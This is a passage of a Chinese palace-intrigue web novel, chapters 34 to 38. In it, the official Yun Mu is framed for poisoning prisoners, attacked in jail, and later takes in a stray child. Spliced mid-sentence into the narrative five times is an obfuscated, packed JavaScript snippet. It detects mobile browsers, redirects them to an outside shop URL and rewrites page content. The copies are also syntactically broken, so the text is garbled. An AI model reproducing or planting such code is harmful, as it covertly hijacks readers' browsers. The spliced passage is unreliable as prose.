侍卫只看了一眼就忙不迭开口:“皇上,小人名叫覃建鸿,在布政坊当值。云大人昨日回了布政坊后,就偷偷翻墙出去了一趟,小的也不知他去了何处,只知道大人是两刻钟后才回的。” 云暮的目光在几人身上扫视,最后落在覃建鸿的后脑上,难怪她参徐振峰时无人开口,原来在这里等着她呢。 她冷冷地盯着覃建鸿:“昨日本将军何时出门,又去往何处?门外这么多人,怎么只有你一人瞧见?” 覃建鸿不敢看他:“大人,您午时末出去,未时二刻回来,因您是从窗户翻墙出去,才正巧被小人看见。而从布政坊到百味阁,来回正好要两刻钟。” “小人听说了诏狱的事后,一直惴惴不安,恐被你发现灭口,这才求到了丞相面前。” 云暮冷笑了一声,复跪在地:“一派胡言,皇上,若奴婢想要动手,卢家人被抓当晚就该直接死在诏狱,奴婢为何拖到今日才动手?” 见丞相老神在在,徐振峰补了一句:“即如此,方才云大人在金銮殿时怎么不把此事告知皇上,是做贼心虚吗?” “人才入狱就死于酷刑,云大人也不好和陛下交代,这几日所有人都放松了警惕,所以你才选择在昨夜杀人。况且云大人的医术和院使不相上下,用什么毒能一击毙命对你来说不是很简单吗?” 梁文帝原本更相信云暮,但徐振峰的话一出,他的心开始摇摆不定。 这时王全再次进来:“皇上,金吾卫冯章求见。” 云暮和众人一起回头,看到冯章微不可察地对她摇了摇头,她的心一点一点沉了下去。 冯章把手中的那张纸呈给王全:“皇上,这是仵作的验尸报告。下官方才去百味阁寻昨夜送酒菜的小二,昨夜他送了饭菜后没再回来,仵作验尸后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632383|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说人是在戌时末死的。” 若狱卒没有撒谎,那就是人还没回到百味阁就被人杀了。 徐振峰道:“皇上,定是云暮怕东窗事发,所以杀人灭口!” 所有疑点全都指向云暮,梁文帝想要包庇都难,“云暮,昨夜你同谁在一处?” “昨夜儿臣和云大人在云府饮茶赏雪,云府的下人亦能作证。” 沈聿明解下身上的斗篷,对梁文帝行了一礼:“父皇,早知勤政殿这般热闹,儿臣今早就冒雪来上早朝了。” 梁文帝笑着点了点他:“你啊。” 被人横插一脚,徐振峰脸色有些难看,他阴阳怪气地说道:“王爷和云大人交好,谁知您是不是做伪证呢?” 云暮在心里骂了一声蠢货。 下一瞬,一个茶盏直直地朝徐振峰的脑门砸去,滚烫的茶水烫红了他的脸。 “王府的马车招摇过市,又在云府外停了一夜,是本王作伪证还是你存心害人?” 梁文帝欣赏够了徐振峰的狼狈才出来打圆场:“都给朕住嘴。人死在诏狱,徐爱卿你难辞其咎,云卿身上的疑点也还未洗清,都回去给朕闭门思过。” 都怪沈聿 明误事,否则云暮已经被打入大牢了,徐振峰不甘心,但也无可奈何,不过想到他的人还有后手,他的心情才好了几分。 丞相悠哉地缀在他们后面,云暮特意放慢脚步等他:“丞相大人,还真是巧啊,我的人偏偏找上了你。” 狱卒在宫门撞到徐振峰,才驳了狱卒的话,丞相就带了另一个目击证人出现,有这么好巧的事? 丞相露出一个假笑:“是啊,本相也没有想到。” 与此同时,宋枫在布政坊领了二十军棍后,一瘸一拐地去找人打听宫里的情况。 听完冯章的话后,他差点跳了起来。 “不是说把卢家人杀了大人就不会有事吗?他如今怎么会被扣上杀人的帽子,被皇上禁足在家!” 第三十四章 又来一证人 宋枫对面的人安抚道:“时局动荡,云大人被禁足在家才是好事,证据不足,关个一两日就出来了。” 宋枫将信将疑地看着他:“你没有骗我?” 那人道:“怎么会,不过是云大人咬得太紧,否则我们也不会出此下策,若牵连到我们,张姨娘也逃不过,你也不想她死在你面前吧?” 前有涿州一事,现有米嚢花之事,梁文帝会放过卢家才有鬼,此局卢家人必死。但因梁文帝授意,云暮扣人不放,他们的人捞不出来。那几个能撑到现在实属不易,再晚几天,他们就该把不该说的都吐出来了。 提到他娘,宋枫的脸色才缓和了几分,“我并未有此意,只是事出太急,一时乱了方寸。” 那人语重心长道:“小少爷,你跟在云大人身边多年,该有所行动了。” 宋枫出了门后,脸上的怯懦瞬间消失。当年用他娘来威胁他,这么多年过去了还是这个手段,可偏偏他没有办法,只能照做。 有时他想不顾一切把真实身份告知云暮,但想到娘遍体鳞伤地被关在冰冷的柴房,他又什么都说不出口。他没有他们无情,注定要被这些人牵制。 但即便如此,他也不敢再信他们的鬼话。云暮这几年有多遭人恨他不是不知,只要有机会,他们恨不得饮其血啖其肉,怎会禁足这么简单。 而此刻禁足在家的云暮正把箱笼里的东西一样一样摆在书桌上。 匕首,米嚢花,还有那个一卷卷女子的画像,画像是一位白衣女子。 从风月居地牢出来的女人里,并没有长竹村的人,不管怎么问,迎春楼的老鸨只道:“人得了脏病,没挨过去,死了,尸体丢在城外乱葬岗。” 清风说过,人消失的前一晚,她们几人还互相通了气,根本没有得病。 “人怎么能消失得无影无踪呢?” 她怀疑过卢宏和京城的青楼勾结,把人偷偷从涿州运了出来,她回京后曾去过青楼,但没一个能对得上脸。 “你又是谁?” 云暮把东西重新放回箱笼,安叔轻叩了几下门:“大人,大理寺的何大人带着人来了。” 门自里打开:“他来作甚?” 安叔犹豫了片刻,“卢家人被毒死一事已经传遍京城,听说有人在午间见到你去了百味阁,就去了大理寺。” 一环接着一环,这是要把她和毒死卢家人一事捆在一起,别让她查出谁是主谋。 她理了理斗篷,撑伞往正厅走去。 何昌站在廊下细细打量着云府,和云暮共事多年,这还是他第一次来云府。 昌平坊的房子有市无价,住的大多都是豪门勋贵,便是砸锅卖铁散尽家产,他都买不起昌平坊的一个三进宅子,更何况云暮这个五进的大宅子。 听闻脚步,他收回眼中的羡慕,“云大人,劳烦你同我们走一趟。” “你可见过此女?” 云暮摇头:“没见过。” 身侧之人不敢抬头看云暮,“民女蒲柳之姿,大人不认得也正常。昨日午时一刻,民女见云大人进了百味阁,不到一炷香的时间就出来了,民女听说卢家人死后,惶恐不安,恐夜间有冤魂索命,特来交代。” 云暮看向台上的程文博:“程大人,我想问她几句话,不知方不方便?” 正常流程,程文博自然应允。 从云暮的发冠到鞋,女子对答如流,云暮拍手叫好:“本将军都注意不到这么多细节,你观察得倒是细致。” 女子僵了一瞬:“大人天人之姿,让人一眼难忘。” 云暮笑笑:“最后一个问题,本将军走时,是骑马还是坐马车?” 女子的头更低了:“民女不知。” 惊堂木一拍,程文博质问:“你方才又说见云大人出来,他如何回的布政坊你岂会不知?” 女子跪地大喊冤枉:“云大人出来后,民女就归家了。” …… 一番询问,却毫无破绽,云暮有毒杀卢家人的嫌疑,程文博也只能拘了云暮。 罪名还未落实,不用穿囚服,云暮和程文博并肩走在前头。 “程大人,后事就劳烦你了,金吾卫那边如果有拿不准的事,让他们来大理寺找我。” 她虽然禁足,但还是要办事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632384|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程文博点点头:“举手之劳,你我不必客气。” 没有破绽就是最大的破绽,不过是一个毫不相干之人,那名女子却对云暮的穿着倒背如流,这些人真当他白审了这么多的案子吗。 一阵寒风吹过,抖落了枝头的白雪。 “娘娘,皇上正在见大理寺的程大人,您还是早些回吧。” 王全好言相劝。 贵妃坚持:“无妨,本宫等一等就是。” 王全叹了一声,凑近贵妃:“娘娘,老奴也不瞒您,皇上此刻正气头上,方才还砸了一套青瓷茶具,您还是回吧。” 贵妃压下厌恶,惊讶地捂住嘴:“怎会如此,今早去上朝时不还是好好的吗?” “娘娘深居后宫有所不知,卢家人中毒身亡,此事似乎和云大人有关,皇上今早只禁了足,后来被程大人关进了大理寺的大牢,可不得生气?” 得到想要的消息后,何秋林见好就收,她朝身后看了一眼,红袖熟稔地把一锭银子塞给王全,又把手中的食盒递了过去。 王全的拇指抚着红袖细嫩的手背。 何秋林把一切都看在眼里,等王全占够了便宜后才把手中的食盒递给他,温声叮嘱:“莲子羹降火,劳烦公公替本宫送进去,凉了就不能用了。” 王全闻言依依不舍地撤回手,谄媚笑道:“娘娘放心,老奴一定给您送进去。” 回到长乐宫后,何秋林直奔书房,纸上墨痕一干,她才把红袖叫了进来。 “冷宫后的那道墙,三行四列。” 红袖躬身接过,却反被拉住了手,“好好的一双手,怎会变得如此?难不成是因为王全?” 红袖的沉默说明了一切。 何秋林一巴掌甩在了红袖的脸上:“能被王全看上是你的福气,这双手若是毁了,你以后也不用在长乐宫伺候了。” 红袖的满腔怒火被这句话浇灭,她想起前任掌事宫女的死,“娘娘饶命,奴婢知错,奴婢再也不敢了。” 何秋林轻抚她的手,给了她一个瓷瓶:“你这双手生得好,本宫也是气你不爱惜自己,拿去涂手,莫要辜负了本宫的厚望,下去吧。” 第三十五章 牢中刺杀 近来案子少,大理寺的牢房空出了不少。 云暮百无聊赖地坐在牢狱里,罪名未落,不用穿囚衣,但镣铐却是免不了,腰间的天子令也暂且让程文博替她收好。 她拨了拨手上的镣铐,失笑摇头,这么多年,宿在牢房的次数不计其数,但手脚带着镣铐被人关在牢房还是头一遭。不过她也不担心,最迟明日,她就能出去了。 狱卒点头哈腰地迎着几个人往云暮的牢房来。 见是穿着金吾卫的衣服,手里还拿着东西,金吾卫几千人,没见过也正常,云暮没察觉不对。 来人把手中的公文呈给她:“云大人,冯参军派小人来给您送东西。” 云暮手才伸出,公文蓦然腾空,长剑出鞘的声音响起,眼前的公文被人一剑劈成两节,白色的粉末扬扬洒洒而下。虽闭得快,但还是晚了一息,双眼火辣辣地疼,泪水被痛意激出。 眼睛看不见后,耳朵变得更加敏锐。右耳微动,举起手上的铁链挡住前方的攻击。 一击未中,刺杀云暮的那个杀手对着云暮的腹部抬腿就踢,云暮不察,后退了几步,后背紧贴在墙上,辨认着他们进攻的方向。 她身上的武器都被收走,称得上一句手无寸铁,能拖住一时是一时,“你们是何人,为何要冒充金吾卫?” 为首的杀手冷笑了一声,只说了一句“要你命的的人”,便再次提剑朝她砍来。 牢房空间小,云暮裆了几下很快就到了头。对方人多,云暮躲闪不及,小臂被人划了一刀。 耳边传来风声,她侧身躲过,镣铐的铁链一卷,剑落入了云暮的手中。 狱卒尖叫了一声后,再也没了声响,动静不小,却无人闯进,外头的人只怕已经遭遇不测了。 对方人多势众,几人同时发难,一道道伤口处现在云暮的身上,住在周围的罪犯蜷在角落,不敢发出声响。 杀手一个接着一个倒下,为首的那人也没想到这么多人还杀不了一个瞎眼之人,他咒骂了一句,打了一个手势,其中一人拿出鞭子卷住了云暮拿剑的手,剩余两人同时举剑飞向云暮。 云暮吸了一口气,反手拽住鞭子,把人扯过来挡在身前挡住攻击,长剑自腰部往后,刺中了身后之人。 她把身前的杀手往前推,长剑顺势抽出后又没入身前人的身体,长剑穿过两人的身体,却没能杀死还活着的那人。 身后又传来一阵脚步,云暮的心提了起来,来的人是杀手还是她的人? “云暮!” 是沈聿明。 云暮心下微定,手上却不敢卸力,为首的杀手见败局已定,在沈聿明闯进来之前咬破了藏在牙里的毒药。 “没事了,人都死了,我来晚了。” 云暮一身白衣被鲜血染红,沈聿明心揪了起来,恨自己没有及时发现异常。 雪松味冲淡了云暮鼻尖的血腥味,云暮松开握着剑柄的手,想要装出一副若无其事的样子,却被脚下的尸体绊倒,好在沈聿明及时把人拉了回来。 “牢房太黑,没看清。” 沈聿明半信半疑地盯着云暮,最后看向了那双无神的眼睛,他伸手挥了几下,云暮毫无察觉,脚尖试探着前方,发现并无障碍后才落地。 沈聿明心口一窒,脱下大氅披在云暮身上,直接把人打横抱起。 “文竹,递牌子进宫请御医。” 余下之人纷纷低头清理尸体,不敢多看。 请御医自然瞒不过梁文帝,文竹没有隐瞒,一五一十地把事情告知。 梁文帝大怒:“这些人太过猖狂,竟然敢在天子脚下刺杀朝廷官员!查出来,朕要诛他九族!” 程文博才出宫就听到这个惊天噩耗,“覃建鸿呢?” 覃建鸿火急火燎地带人回了大理寺:“大人,都查清楚了,一路上没人见过云大人,也和那名女子的家人对了口供,对不上,又从她家里翻出了不少现银,他们才从实招来。” “我们才把人带走,就有几人来灭口,撒个谎就能得到五百两银子,有命拿也不看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632385|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他们有没有命花。” “对了,金吾卫那边来了人,说是在午时一刻给云大人换过茶,也有人能证明,不过他们今早都病了,告了假。” 能作证之人同时告假,其中必有蹊跷。云暮敢作敢当,程文博也不信他会无故毒杀卢家人,“把口供整理好,我去王府看看云大人。” 人在大理寺受伤,于情于理他都该去看看。 一盆盆血水端出,程文博看了看紧闭的房门,又看了看一旁的太医,有点摸不清状况了。看着小厮端出的血水,云暮伤势不轻,为何太医会同他一样被拦在外面不许进去? “云大人如何了?” 太医摇了摇头,眼底的迷茫和他如出一辙,文竹急得就差直接把他扛出宫了,他都以为云暮危在旦夕了,但来了之后,他连云暮的面都见不着。 他只能道:“云大人精通医术,又有王爷在旁,应该无碍。” “这么多人都杀不死一个云暮,还都折损在大理寺,当真是废物!” 崔浩嗤笑:“还拿了东西弄瞎了人眼,结果云暮只受了写皮外伤,你们王家训练出来的 精英暗卫只有这个水平吗?” 王明远的脸青一阵白一阵,但又无法反驳,他梗着脖子道:“你们崔家行,怎么不派人上?” 崔浩放下手中的茶杯,凉凉道:“本相之前就说过不站队,谁要是倒了,本相都不介意补上一刀。你该庆幸今日不是云暮对付你,否则本相也会助他一臂之力。” “这么好的机会,还是没能把云暮拉下,说废物还算是抬举你们了。” 王明远敢怒不敢言,曾经的王氏红极一时,连出几代皇后,后来逐渐没落。如今虽同为世家,但他的官职远在崔浩之后。 他也是急病乱投医,才会以为崔浩和他是一条心! “接下来该怎么做?” 崔浩又暗骂了一句蠢货,“云暮是皇上心尖上的人,如今又有秦王护着,不想步卢家的后尘就把尾巴清理干净,不要再有动作。” 第三十六章 独自治伤 “不要太医。” 云暮的伤大多都在上身,最重的一道在胸口,太医诊伤必得脱去上衣,到时她的身份暴露就全完了。 沈聿明看着血迹斑驳的衣服,不禁皱起了眉头:“我帮你?” 刚逃出宫那几年,时常被人追杀,他和梅姑东躲西藏,受了伤也不敢去医馆,都是相互给对方包扎。在苍山的这几年,钟叔的人里有个军医,他跟着对方学了不少救命的医术。 云暮念出一串药名:“这伤死不了人,你让人照着这个方子去抓药,三碗水煎成一碗水,拿来给我洗眼睛。” 她怕把眼睛拖瞎了。 门只开了一条缝,沈聿明把药方递给候在门外的钟叔:“按着这个方子去抓药,热水还没好吗?” “已经派人去催了。” 钟叔双手接过药方,又看了一眼院门:“王爷,水来了。” 王府的下人低垂着头把一盆盆热水送进里间,出去时,一个小厮抬头看了一眼床上之人,但帷帐挡得严严实实,半点轮廓都没有显露。 沈聿明交代着熬药事宜:“让我们的人盯着药,免得被人做了手脚,等会儿太医来了就先让他在外面候着。” 他回京时间太短,这府里能信的只有钟叔他们几个,前几天他揪出了几个探子,剩下的安分了不少,但事关云暮,他不敢掉以轻心。 门再次合上,云暮听到脚步后直接道:“劳烦王爷把水放在床上,剩下的下官自己来处理即可。” 沈聿明不赞同道:“眼睛都看不见,你还是别瞎折腾了,我来帮你。” 他举起右手对天发誓:“你放心,我用发带蒙住双眼,绝不乱看!否则就叫我被雷劈死。” 看不见的时候,云暮能相信的只有她自己,“王爷,我是瞎子,你也蒙住眼,如何上药?下官知晓身上的伤在何处,上个药也不是什么难事。” 末了她又补上一句:“若实在有需要,下官再请王爷帮忙。” 云暮都这般说了,沈聿明也不好再坚持,把东西摆好后,又一一告知面前的东西是何物后才转身站在了紧闭的窗前。 身上的衣服只剩下一件里衣时,云暮还是停了手,她的手在床边摸索了片刻,确认厚重的帷帐把人的视线都挡在外面后,她才用沾了水的手巾慢慢润湿伤口处的衣物,一点一点地剥离。 碰水后的伤口泛起密密麻麻的疼意,云暮闷哼了一声,双眼泛起泪花,手上脏污,她不敢擦拭,只能任由泪水滑落。 沈聿明担忧的声音在对面的角落响起:“你没事吧?” 云暮心一狠,直接把里衣撤了下来,伤口再次撕裂,她捏紧了手中的里衣,急促地呼吸了几下,“无事。” 拿起盆边的干手巾随意擦了几下,察觉到血还在往下流,她拿起一旁的外袍披在身上,确认穿好后才道:“王爷,能把热水换成药汤吗?” “可以,方便让我进去把水盆端出来吗?再换几条大一点的手巾。” 云暮点点头,“方便。” 沈聿明的脚步声落在床边,他垂眼看着盆里的血水,紧皱的眉头能夹死蚊子,但云暮没发话,他也不敢乱看。 没一会儿,药味溢满了房间。 帷帐外响起沈聿明的声音,“药汤还有些烫手,不如你先洗眼睛?” 云暮嗯了一声。 药液冲洗双眼,云暮一时分不清流下的是泪还是药。粉末进入眼睛不多,治起来不难,更何况她为了尽快恢复,开的方子药效很强,洗完眼后隐约能看到一些轮廓。 云暮才轻呼一口气,把沈聿明赶了出去。 房里有地龙,云暮还让人在房里点了一屋子的蜡烛,倒也不冷。药液洗身,血慢慢止住,云暮拿起止血散不要钱似的往伤口上倒,纱布几乎裹满了上身。 伤口还未结痂,血水会再次粘连伤口,但这里并非云府,云暮不敢托大。 一个时辰过后,除去沈聿明,其余人都跪地行礼,谁都没想到梁文帝会出宫探病。 梁文帝看着跪在脚边的太医,质问道:“人如何了?你怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632386|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在里面伺候?” 太医有苦说不出,“这……” 沈聿明接了话:“云大人无事,想来很快就能出来,不如儿臣陪父皇去正厅稍坐片刻。” 梁文帝哪能真正放心,“朕去看看。” 沈聿明正要拦下,房门忽然打开,云暮面无血色出现在人前:“奴婢惊动圣驾,实在该死。” 云暮双眼扫过院子,比起上次突然出现在云府,梁文帝这次出宫的阵仗大了不少,随侍太监,金吾卫…… 梁文帝又上前一步,“伤得这般重,为何不让太医进去上药?” 云暮垂眼道:“皇上,奴婢一个阉人,又略通医术,不过是包扎个伤口,怎敢劳动太医?” 梁文帝想起往事,没有再提此事:“走吧,朕送你回云府。” 一连几日,云暮都不曾出门,进出云府都有金吾卫搜查,半点空子都不给人留。 “娘娘,除去陛下和秦王的药,云府一概不接。” 红袖双手满满当当地出宫,又一样不落地拿了回来。 贵妃看着接连几日都被退回的药,很 是不满:“那就想法子混进陛下送去的药里。” 梁文帝沾上了都戒不掉,更别说云暮,米嚢花掌握在他们手里,到时云暮还不是任由他们拿捏? 咔嚓一声,一节白梅掉落,花瓣散落一桌:“他的命当真是好,但事在人为,本宫不信他的命次次都能这般好。” “熙儿最近在做什么?这么多天都没进宫请安了。” 提起梁承熙,红袖耷拉的眉眼终于上扬了几分:“娘娘的生辰快到了,三皇子大约是在为您准备贺礼呢。” 贵妃的脸上终于有了几分笑意,把修剪好的白梅插进云兮花瓶中,“把这个给熙儿送去,你抓紧时间把那身衣裙绣好,生辰那日,本宫定要压过皇后那个贱妇。” 红袖讷讷应下。这几日为了那身衣裳,白日里她要伺候贵妃,还要替她办差,一得空又扎进绣房,眼睛都快熬瞎了,但她丝毫不敢抱怨。 第三十七章 又捡人 养伤期间,除去沈聿明亲自送来的药,就连梁文帝的药她也不大敢用。 药从宫里出来,经手的人可多了,难免会混进一些不该有的东西。此前监视了贵妃一段时间,并未发现有何不对,沈聿明的话也不是空穴来风。 晃眼过去数日,痂皮脱落,伤口愈合时总是伴随着痒意,云暮接了安国公府的请帖,登门拜访。 梅园里的梅花开得正盛,安国公夫人便想着邀请王公贵族的公子和贵女前来赏花。 云暮出现时,正厅喧闹的人群都住了嘴,唯有寒风肆虐的声音。 沈聿明拍了拍他身旁的位置:“云大人不如与本王同坐?” 原本坐在沈聿明身旁的人嗖了一下退到了别桌。云暮扫了一眼,没看到安国公,便坐下和沈聿明有一搭没一搭地聊了起来。 “早知你来,我就去云府接你了。” 云暮摇头:“心血来潮罢了,安国公不在?” 沈聿明朝书房的方向努了努嘴,:“方才有人找,去了书房,这会子还没出来呢。” 见云暮不喜人多,提议道:“这里吵得人头疼,不如我们去赏花?” 云暮点了点头,率先起身。 二人正于梅园漫步,一个火红色的身影直直朝沈聿明撞来。沈聿明不仅没有扶人的大厦。,还拉着云暮往旁边退了几步。来人一时收不住脚,直直往前摔去,又被云暮抓着兜帽揪了回来。 她身后的丫鬟快被吓死了,要是没有云暮那一扯,她家小姐铁定要毁容,大鬼倒霉,小鬼也要跟着遭殃,她忙和云暮道谢:“多谢云大人出手相助。” 兜帽之下,是一张和皇后有几分相似的容颜,只是比起皇后的端庄贵气,来人看起来有些稚嫩。 来人正是崔浩最小的女儿,崔苒。 云暮替皇后去丞相府传旨时曾见过她,拱手行了一礼:“五小姐。” 崔苒嫌恶地解开斗篷,丢给身后的丫鬟:“你一个阉人,也配碰本小姐?” 云暮懒得和她计较,一旁的沈聿明倒是难得地冷了脸:“崔五小姐慎言,云大人是朝廷正三品官员,按理你该对她行礼,还是说平日里丞相就是这般教导府中人的?” 崔苒作为崔浩最小的嫡女,自幼受人追捧,便是崔浩都没有对她说过几句重话。上次一见,她对沈聿明芳心暗许,不时给人递拜帖,但对方从未收过。 自打沈聿明出现在安国公府开始,她就派丫鬟一直盯着正院,跟着沈聿明后脚来了梅园。 被心上人当着一个阉人的面训斥,崔苒气红了眼,恶狠狠地推了一把云暮,扭头就跑。 云暮:…… 得了病就去看大夫吧。 沈聿明眼中的厌恶更甚:“你没事吧?” 被人打扰,云暮也没了赏花的兴致:“没事,回去吧。” 还没回到正厅,一个小厮把他们拦下了:“云大人,太子想邀你去亭中一叙。” 沈聿明倒是没拦,对着不远处正看着他们的太子点点头,留下一句“有事派人来寻我”就匆匆走了。 未央宫一事过后,她再也没去过皇后宫里,每次见到太子都是在勤政殿,两人并无交集,这是秋后算账来了? “下官见过太子殿下。” 太子梁修笑意吟吟地扶起云暮:“孤近日事忙,没能抽出时间探望,云大人的身子可好些了?” 云暮恭敬道:“劳殿下挂心,已经好全了。” “你不必拘谨,孤不过是许久没见到你,想同你闲聊几句罢了。” 太子敢说,她却不敢信。 “听说前阵子你在母后宫里受了罚?” 云暮垂头道:“是下官办事不力,惹娘娘生气。” 太子叹了一声,对云暮做了个揖:“孤代母后向云大人赔罪。” 除了帝后,谁敢受太子的礼?云暮吓得避到一旁:“太子殿下无需如此,此事本就是下官之错。” 太子不由分说地把早早备下的礼物塞给云暮,而后带着人离开了安国公府。 小厮不解:“太子,那云暮不过是一个阉人,您贵为太子,何需讨好?” “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632387|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以孤是太子,而你只是一个小厮。”太子说完,挥退了他。 云暮回去略坐了一会儿,待身子回暖就要告辞,她捂嘴咳了两声:“今日叨扰安国公了,下官身体抱恙,得回府服药了。” 他在这里,这些人生怕云暮去御前告状,不敢放开,安国公也没有多留:“那就不留大人了,来人,好生送大人出府,不许有半点闪失。” 云暮无奈地看着跟她一起上车的人:“王爷怎么不多待会儿?” “不过是吃吃喝喝,再品鉴一下各家小姐的诗画,没意思。” 云暮想起崔苒,打趣道:“王爷若留下,崔五小姐的诗画头一个出现在您桌前。” 沈聿明嗤笑,漫不经心地说道:“本王可没有这个福分,方才听下人来报,说是雪天路滑,崔五小姐非要去折池边的红梅,不小心落水了,如今应该已经回崔府了吧。” “你没发现同桌的崔公子都不在了吗?” 马车骤停,云暮扶住窗沿才勉强没撞到沈聿明。 文竹怒 喝:“哪里来的小叫花子,你不要命了?” 待她坐好,沈聿明才撩开车帘,“文竹,怎么回事?” 文竹提着一个瘦小的小孩放到路边:“王爷,他突然冲出来,差点撞上咱的马车,好在没伤到人。” 云暮也凑了过来,看着那个衣不蔽体的小孩。 小孩的手脚被冻得青紫,畏缩地穿过街道,行人见了他都捂鼻子避开。 “文竹,把那小孩抓回来。” 沈聿明颔首:“你好像很喜欢捡人。” 以前是他,后来是宋枫,现在又是一个不知从哪冒出来的小孩。 云暮摇摇头:“京城里已经多年没有见到乞儿了,王爷你看,即使冻得发抖,但他的下盘还是很稳。” 沈聿明偏头看去,只见摊贩抬脚踹了想要偷拿吃食的小孩一脚,小孩只踉跄了一步,很快又站稳。 沈聿明若有所思,“既有人教他练武,为何又置他于不顾?天寒地冻的,他如何挨得过这个冬日?” 第三十八章 空荡的地牢 男孩一进了马车就缩在了角落,乌黑的眼里满是警惕。 云暮把点心放在男孩面前,男孩双眼一亮,抱着碟子狼吞虎咽,吃得太急,点心卡在了嗓子眼,吐不出也咽不下,整张脸都憋红了,抓起沈聿明给他倒的茶咕噜咕噜吞下。 在男孩吃了几块点心后,云暮终于制止了他:“够了,你饿得太狠,一次不宜吃太多。” 男孩紧紧把点心护在怀里,活脱脱一个护食的小狼崽。 云暮收回手:“这些都是你的,会说话吗?” 男孩犹豫地点了点头,“会。” “可有去处?” 男孩摇了摇头,他第一次出门,从那个房子出来后就记不清来路,睡在别人家的草垛里,吃着两个被冻得梆硬的馒头,勉强活到了今日。 云暮把斗篷递给沈聿明,示意他给男孩披上,她则往火炉里加了几块新炭。 沈聿明没接,转而拿起自己的大氅把男孩裹了起来,“让他随我回王府?” 云暮思虑了片刻,还是拒绝了:“你府上人多眼杂,还是住云府吧。” 安叔把人洗干净后才领到云暮面前:“大人,咱府上没有孩子,买的成衣,多少有些不合身。” 云暮∶“无事,你找人来替他裁几身衣裳,以后他就住在云府。” 安叔有些为难:“皇上那边……” 男孩有些忐忑不安:“我是给你们添麻烦了吗?” 云暮拍了拍他的头:“无事,你别多想。” 又对安叔说道:“先瞒着,皇上知道后再解释也不迟。” 沈聿明不解地看着二人,没懂这话是何意,不过是收留个孩子,还要父皇同意? 见他们还有话要说,他牵着男孩坐到榻上,“你可有名字?” 男孩摇了摇头,复又点头:“十五。” 穷苦人家生得多,大多是按出生顺序来取名,这倒不是什么罕见之事。 沈聿明又问:“姓呢?” 十五神情有些茫然,大家不都是这样叫吗? 沈聿明没有半点不耐:“你可知你爹娘叫什么?” 十五:“我们都没有爹娘。” 我们是谁? 沈聿明不动声色地套问:“那一般是谁给你们送吃的?” “武叔。” 沈聿明点了点头,不再追问。 云暮再回来时,手里身后跟着几个提着食盒的小厮,“净手吃饭。” 一连几天,十五每天天不亮就起来扎马步,拿着一根树枝当剑练。 云暮观察了几天,发现对方只会一些简单的出剑的动作。她和沈聿明旁敲侧击过,对方,这些是十五口中的“武叔”所教,练不好就要关禁闭,饿肚子。 刚到云府那晚,云暮把人安排在了她院里的厢房。怕他夜间睡不好,半夜就悄悄去看了他一眼,结果发现他蜷缩在角落,听到一点声响就如同惊弓之鸟,捂着脑袋直道:“我会好好练剑,绝不偷懒,别打我。” 此后他的房里再也没有熄过蜡烛。 洗漱过后,沈聿明又提着早点来了,云暮见怪不怪。 只见沈聿明从食盒里拿出几个蛤蟆形状的包子摆在十五面前:“这是昨儿答应给你买的。” 十五欢呼了一声,在得到云暮的首肯后才拿起包子开啃,吃完一个才道:“大人,从前十五住的地方有可多蛤蟆了,我们摸黑抓过好几次!” 云暮给他夹了块肉:“是嘛,十五真棒。” 蛤蟆多生在阴暗潮湿之地,云暮在心里把先前猜测的地方又划掉了几个。 